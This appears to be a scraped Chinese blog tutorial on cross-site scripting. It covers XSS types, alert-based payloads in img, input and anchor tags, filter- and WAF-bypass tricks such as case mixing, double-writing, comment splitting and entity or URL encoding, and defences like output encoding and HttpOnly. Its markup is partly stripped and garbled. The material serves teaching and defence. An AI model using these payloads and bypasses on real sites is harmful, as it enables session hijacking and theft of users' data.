怎么做劳务公司网站,wordpress关联博客,合肥网站设计机构,网站设计作业平台声明#xff1a;本文章仅做技术交流#xff0c;严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关#xff0c;如有不妥请联系本人删除。 XSS概述
产生原因 XSS漏洞产生的主要原因是由于程序对输入和输入的控制不够严格#xff0c;导致构建的… 声明本文章仅做技术交流严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关如有不妥请联系本人删除。 XSS概述
产生原因 XSS漏洞产生的主要原因是由于程序对输入和输入的控制不够严格导致构建的恶意代码输入后在前端浏览的时候被当作有效的代码解析执行从而产生危害。 危害 1)网络钓鱼盗取各种用户账户。 2)窃取用户的cookies资料从而获取用户隐私信息。 3)弹出广告页面获取相关利益。 4)劫持用户会话执行任意操作。 5)传播蠕虫病毒 XSS分类
反射型 反射型XSS是将用户输入的内容作为代码让浏览器对其进行执行达到攻击的目的一般需要引诱用户访问攻击者构建的URL。这种类型的攻击指发生在客户端上并且需要访问带有恶意的参数特制的URL所以也称之为非持久型XSS。 存储型 存储型XSS是将攻击脚本永远嵌入某一个页面中当用户访问的时候就会触发执行从而用户受到相关的攻击。并且该类型的攻击主要发生在服务端所有用户访问该页面都将受到相应的攻击所以也称之为持久型XSS。 DOM型 不经过后端仅仅是通过网页本身的JavaScript进行渲染触发的。 DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞DOM-XSS是通过url传入参数去控制触发的。 基于DOM型的XSS漏洞是不需要与服务器端交互它只发生在客户端处理数据的阶段。 前置知识
xss注入主要利用的是html的代码内容。
还有一些特殊的伪协议的利用。
如果看不懂就去找相应的前置知识查看学习。
xss攻击
常用标签
script
scirptalert(xss);/script
img
图片加载错误时触发示例img srcx onerroralert(1)
鼠标指针移动到元素时触发示例img src1 onmouseoveralert(1)
鼠标指针移出时触发示例img src1 onmouseoutalert(1)
a
a hrefhttp://www.qq.comqq/a
a hrefjavascript:alert(1)test/a
input
按下按键时触发示例input typetext onkeydownalert(1)
按下按键时触发示例input typetext onkeypressalert(1)
松开按键式时触发示例input typetext onkeyupalert(1)
竞争焦点从而触发onblur事件示例input onbluralert(xss) autofocusinput autofocus
style
style οnlοadalert(1)/style
协议
伪协议javascript:alert(1)
a hrefjavascript:alert(1)dd/a
除此之外还有 http:// ftp:// weixin:// weishi:// dy:// 事件型
还有一些事件型的内容在前面也有穿插 οnerrοralert(1) 加载图片失败 οnlοad 加载成功 οninput 当框有输入的时候才会触发 οnclick点击 οnfοcus对象获得焦点 攻击流程
xss的攻击流程就是在输入框注入合理的内容然后进行触发拿到想要的内容。
绕过
关键字
在网站或者waf中可能都会对xss的关键攻击内容进行黑白名单的处理会禁掉一些如input、JavaScript的特殊内容这里就涉及到了一些绕过手法 大小写绕过 html对于大小写不敏感可以利用大小写混淆过去。 双写绕过 如input oonnfocusalert(xss); 空格、回车、tab绕过 空格示例img srcjavascript:alert(xss);替换为img srcjava script:alert(xss); 注释绕过 示例scriptalert()/script替换为scri!--2--ptalert()/sc!--8--ript 字符拼接 示例 img srcx οnerrοraaler;bt;c(xss);;eval(abc) 利用top 示例 scripttopalert;/script 编码绕过 Unicode编码 示例img srcjavascript: #97;#108;#101;#114;#116;#40;#39;#120;#115;#1 15;#39;#41;#59; url编码 img srcjavascript: %61%6C%65%72%74%28%22%78%73%73%22%29%3B; ascii编码 base64编码 url
遇到过滤url时也可使用以下的方式对url进行绕过 1、url编码绕过 如 img srcx οnerrοr document.location http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/ 2、ip地址绕过 单双引号
当过滤的是单引号、双引号时可以使用JavaScript伪协议绕过具体使用方法前面有写这里就不赘述了。 当网站使用escape函数时函数不会对数字、字母和* - _ . / 进行编码但其他所有的字符都会被转义序列替换因此这里只能自己构造闭合 ;alert(1);
xss防御 对用户输入的内容及访问的URL进行过滤对输出内容进行编码简单来说就是将用户提交的所有内容都进行过滤排除关键字敏感内容对URL的参数也进行一定的过滤并且对动态输出到页面的内容进行html编码转换为html实体使其用户输入的恶意代码无法在浏览器中执行。 具体方法有 对内容进行黑白名单的过滤 使用http only属性限制客户端js脚本获取cookie信息 控制输入内容的长度 明确输入内容过滤不合理内容 什么是http-only HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag所以它是后端服务器对cookie设置的一个附加的属性在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险如果浏览器支持的话 通过js脚本将无法读取到cookie信息这样能有效的防止XSS攻击。 大多数XSS攻击都是针对会话cookie的盗窃。后端服务器可以通过在其创建的cookie上设置HttpOnly标志来帮助缓解此问题这表明该cookie在客户端上不可访问。